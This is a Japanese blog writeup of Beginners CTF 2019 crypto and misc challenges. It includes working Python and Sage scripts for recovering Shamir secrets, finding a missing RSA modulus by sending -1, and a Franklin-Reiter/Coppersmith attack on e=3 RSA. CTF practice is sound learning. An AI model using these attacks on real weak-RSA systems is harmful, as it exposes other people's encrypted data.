Beginners CTF 2019 writeup

はじめてCTFにチームとして参加しました！！！！！

R19 というチームで参加してました！ kurenaifと申します

常設じゃないCTFはやるのは初めてです！

知り合いにpwnをひたすら布教されていたので、CTFはpwnだと思っていたのですが、実はCryptoもあり、それが面白そうだったのでチームメイトに俺はCryptoをやるぞーーーー！！！と言ってCryptoだけやりました。

pwnもやってみたのですが、すべてを忘却していたため頑張って思い出そうと思います。

[Crypto] [warmup] So Tired

so_tired.tar.gz が渡されました中身は encrypted.txt だったのですがこれがとても長い… なんか最後の方に == とかついてますし、 base64 encode らしさがありますね というわけで

$ cat encrypted.txt | tr -d '\n' | base64 -d  > src

out を見てみると、よくわからないバイナリですね… よくわからないバイナリはとりあえず file を見てみましょう

$ file src
out: zlib compressed data

どうやらzlibだそうです！

#!/usr/bin/python3
# a.py
import zlib

f = open("src", "rb")
data = f.read()
f.close()

dc = zlib.decompress(data)
f = open("out", "wb")
f.write(dc)
f.close()

outを見てみると…

$ cat encrypted.txt | wc -c
373728
$ file out 
out: ASCII text, with very long lines, with no line terminators
$ cat out | wc -c
370052

あっ…(察し)

また base64 してみると、どうやらこれも zlib みたいです。 base64 と zlib をひたすらぐるぐるさせたのが、この暗号みたいですね。

それではさっきのPythonと組み合わせて

# a.sh
while true
do
cp out out.bak
cat out | tr -d "\n" | base64 -d > src
python3 a.py
wc -c out
done

これでエラーが出るまで待ち続けましょう！

base64: invalid input
Traceback (most recent call last):
  File "a.py", line 8, in <module>
    dc = zlib.decompress(data)
zlib.error: Error -3 while decompressing data: incorrect header check
37 out

エラーが出ました！ いい文字数ですね！

$ cat out
ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}

[Crypto] Party

どうやら、3組のpair、すなわち合計6つの数字が与えられるみたいですね。

• coeff を x
• 出力された数字を y
• partyをr

とおくと、以下の式が成り立っていることがわかります！

がフラグですね

行列の形がわかれば、あとは行列を斜めにするやつをやるだけです！ 少数型に落とすと情報が欠けそうで怖かったので、有理数クラスを使って解いてます。

#!/usr/bin/python3

import numpy as np
from fractions import Fraction
from Crypto.Util.number import long_to_bytes

def f(x, coeff):
    y = 0
    for i in range(len(coeff)):
        y += coeff[i] * pow(x, i)
    return y

def solve(mat):
    for row in range(len(mat)):
        tar = mat[row][row]
        for col in range(len(mat[row])):
            mat[row][col] /= tar
        for r in range(len(mat)):
            if r == row:
                continue
            boost = mat[r][row]
            for c in range(len(mat[r])):
                mat[r][c] -= mat[row][c] * boost
    return mat

N = 512
M = 3

r = [0]*3
y = [0]*3

file = open("src", "r")

for i in range(3):
    r[i] = Fraction(int(file.readline()))
    y[i] = Fraction(int(file.readline()))

mat = [
    [Fraction(1), Fraction(r[0]), Fraction(r[0]*r[0]), y[0]],
    [Fraction(1), Fraction(r[1]), Fraction(r[1]*r[1]), y[1]],
    [Fraction(1), Fraction(r[2]), Fraction(r[2]*r[2]), y[2]],
]

print(solve(mat))
for i in range(len(mat)):
    for j in range(len(mat[i])):
        print(mat[i][j], end=" ")
    print()

print(long_to_bytes(mat[0][-1]))

しっかり単位行列になってフラグが取れました！

1 0 0 175721217420600153444809007773872697631803507409137493048703574941320093728 
0 1 0 6759741750199108721817212574266152064959437506612887142001761070682826541920627672362291016337903640265385249474489124882116454124173716091800442011015857 
0 0 1 8559415203809303629563171044315478022492879973152936590413420646926860552595649298493153041683835412421908115002277197166850496088216040975415228249635834 
b'ctf4b{just_d0ing_sh4mir}  

Go RSA

RSA暗号の d と encryptされたデータは教えてくれますが、 N をなくしてしまったみたいです！！！！！

Nないのにお前どうやって暗号化してんだよ！！！！

この問題、2つ気づくことに気づけばなんと瞬殺できます

• まず一つ、数字が入力できること
• そして、その数字に負の数が入ること

ガチャガチャ遊んでいたら、負の数を入ることを発見してしまいました。 -1 が通るならもう自明です。

RSA暗号の暗号化は

c = m^e MOD N

復号は

m = c^d MOD N

ですね。 このNがわからないので、復号できないという問題でした。

この問題では、フラグの c の他に、3回まで好きな整数の m を入力することができます。

では、 m に -1 を入れたら…？

通常eは65537とか3とかです。

m = -1^e MOD N = -1 MOD N = N-1

なんと N-1 をもらえました！！！

これを +1 して、複合してやると…

from Crypto.Util.number import long_to_bytes

a = 19721739460005715839687258097463606567568088122562143766673559079928993888011218840527723736945976855276429750686840511245308087039361625859575588315010586932109088534073184785632230817871748507755371081564038161176335857405579592850018586825018841366905735384823298027525055483718836334184117597308146143832746609071410404320299844124897769731428479677374581456236061208983710496710928583658704287830103346312036579012291640838414960806920681837417786550306083430969817954317601886422446799325599439885265181833346633337600066770273573882073976043621513973625591205643086917193039382944499499255990087899534083558712
n = a + 1
d = 16012534574459681485963634139862001145411989213568735706066294645804685807634846967717788543366836663962557081706478331993745344148366136283532609515693857534590486442567835507091820407552582660881197653556068092746906439239029795613811114691641020613919176733171071476305533169723408153840900277253517317842880767356950185288540335520596457402867899206001172130409041175548610181861286325063434009922901699522599455879079648553315178156923597492552797606051253955520510125897947319770306996525090494984301910656673155680183032096435051027220919313430919758310229110059410508088941767032227875386851849410203872128257

x = 4166307417617957284869321340663074830305356736973969287118610781379422763896670624160917668898929485302592913693740635487274812853279249498082813735026859474333821827825022846601676094308501172617202223248824318344700000867606631910692133738577886686239665573753583206491647139406448572619516253202158832537788022928614879944248391229292623896316715442295616471480180228286163207028450461678895309475635821698950149318482145068775702644341882119883921129616029519739738868428874523531712307489141815448685352233906955519708655061860955347613402457489376739490167812575480528575373033977959010646084855165180428882395
print(long_to_bytes(pow(x,d,n)))

いえい！

b'ctf4b{f1nd_7he_p4ramet3rs}'

これ、あってんのか？と思ってましたがどうやら想定解放で、周りを眺めていたら少数派っぽいです…

別解(天才解法)

qiita.com

zeosutt.hatenablog.com

[crypto] bit_flip

元の数字があり、 nc でつなぐたびに、下1/4くらいのランダムな1bitを変えて、暗号化した数字を返してくれます。 難しいです。 これはRSAなのですが、

N と e と c はわかるのですが、dを教えてくれません。ただの公開鍵の情報です

もしこれで復号できたら、RSA暗号を解読したことになります。まともに解いてられません。

考察1 e が小さい

eが3なので、ワンチャン 3乗した結果が N より小さければ 3乗根を求めるだけで解けます。

... 無理でした

考察2 1bitしか変わっていない

もとの数字を x として、i bit目が変わったとすると

が大量に渡されるので、なんとかして連立方程式を解けないかと考えました

...無理でした

実はできた

qiita.com

考察3 Flanklin-Reiter Related Message Attack

RSAの暗号の脆弱性を調べていると見つけました。

2つのメッセージ m1 と m2 の差がわかれば解けるという問題です。

1024/4 = 256 bitのうち、1bit変えただけなので、差のパターン数は 256^2 そんなに多くありません。

差は、 xor をとっているので

abs((1 << i) - (1 << j)) or (1 << i) + (1 << j)

の2択です。

2つの差分がわかれば、あとはその全てに対して複合するだけです。

ももいろテクノロジー様のソースコードを使わせていただいて、

inaz2.hatenablog.com

以下のようになりました

# coppersmiths_short_pad_attack.sage

# reference: http://inaz2.hatenablog.com/entry/2016/01/20/022936
import sys


# reference: http://inaz2.hatenablog.com/entry/2016/01/20/022936
def short_pad_attack(c1, c2, e, n):
    PRxy.<x,y> = PolynomialRing(Zmod(n))
    PRx.<xn> = PolynomialRing(Zmod(n))
    PRZZ.<xz,yz> = PolynomialRing(Zmod(n))

    g1 = x^e - c1
    g2 = (x+y)^e - c2

    q1 = g1.change_ring(PRZZ)
    q2 = g2.change_ring(PRZZ)

    h = q2.resultant(q1)
    h = h.univariate_polynomial()
    h = h.change_ring(PRx).subs(y=xn)
    h = h.monic()

    kbits = n.nbits()//(18)
    print(h.small_roots(X=2^kbits, beta=0.5))
    diff = h.small_roots(X=2^kbits, beta=0.5)[0]  # find root < 2^kbits with factor >= n^0.5

    return diff

# reference: http://inaz2.hatenablog.com/entry/2016/01/20/022936
def related_message_attack(c1, c2, diff, e, n):
    PRx.<x> = PolynomialRing(Zmod(n))
    g1 = x^e - c1
    g2 = (x+diff)^e - c2

    def gcd(g1, g2):
        while g2:
            g1, g2 = g2, g1 % g2
        return g1.monic()

    return -gcd(g1, g2)[0]

if __name__ == '__main__':
    n = 82212154608576254900096226483113810717974464677637469172151624370076874445177909757467220517368961706061745548693538272183076941444005809369433342423449908965735182462388415108238954782902658438063972198394192220357503336925109727386083951661191494159560430569334665763264352163167121773914831172831824145331
    e = 3

    c1 = 38448272237964375371726759592758385386616013779162822338653392077256549091123869239648616008586564655973797454298230191967696840378043670012083704181791314856097307077627229165947387478341901251979390480932220983592258282304304001581658323909165412718287474168394422138841873902714319309538983680281287491186
    c2 = 51531223430957857733934880383408638185102108212202467189651292360878470909281785640325226719442938173566544600753270928156891865771525435019551126712738055654692625329783768014054928002128679874456939510971058344318886221948942145053253549048822643888005377157270281027834500602254102431820137131985798724504

    for bit1 in range(1024//4):
        for bit2 in range(bit1):
            sys.stderr.write(str(bit1) + "," + str(bit2) + "\n")
            a = (1<<bit1)
            b = (1<<bit2)
            for diff in [(a+b), (a-b), -(b-a)]:
                # print bit1, bit2
                # print "difference of two messages is %d" % diff

                m1 = int(related_message_attack(c1, c2, diff, e, n))
                m2 = m1 + diff

                pos = []
                i = 0
                while i < 1025: 
                    bm1 = ((m1 >> i) & 1)
                    bm2 = ((m2 >> i) & 1)
                    if bm1 != bm2:
                        pos.append(i)
                    i += 1
                
                if len(pos) != 2:
                    continue

                print(m1)
                print(m1 ^^ (1 << pos[0]))
                print(m1 ^^ (1 << pos[1]))
                print(m1 ^^ (1 << pos[1]) ^^ (1 << pos[0]))

あとは出てきた数字をすべてbyte文字列に戻すと…？

見つかりました！

[misc] Dump

休憩時間にときました。 いっぱいパケットがありますが、 wireshark の機能を使えば実はhtmlだけ取り出せます！

`File>Export Objects>HTTP...>Packet 3193`

hexdumpの8進数なので、 あとはこれをdecodeするだけですね

import struct

file = open("src", "r")

lines = file.readlines()

nums = []
for line in lines:
    nums += list(map(lambda x: int(x, 8), line.split()))

with open("out", "wb") as fout:
    for x in nums:
        print(x)
        fout.write(struct.pack("B", x))

[misc] Sliding puzzle

幅優先探索で出来るくらいの計算量ですが、ちょっと書くのが辛かったので先人のコードをお借りしました。

host = '133.242.50.201'
port = 24912
bufsize = 4096

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))

while True:
    a = sock.recv(bufsize).decode()
    print(a)
    rows = a.split('\n')[1:4]

    rows = list(map(lambda x:x.split('|')[1:-1], rows))
    for i in range(len(rows)):
        for j in range(len(rows[i])):
            rows[i][j] = int(rows[i][j])
    ans = checkio(rows)
    res = ",".join(ans)
    sock.send(res.encode())

所感

Crypto たのしい！！！！！！！ pwnやweb、reversingは完全に人に任せていたので、反省です。 今度反省会をするので、そのときにコツを教えてもらいます！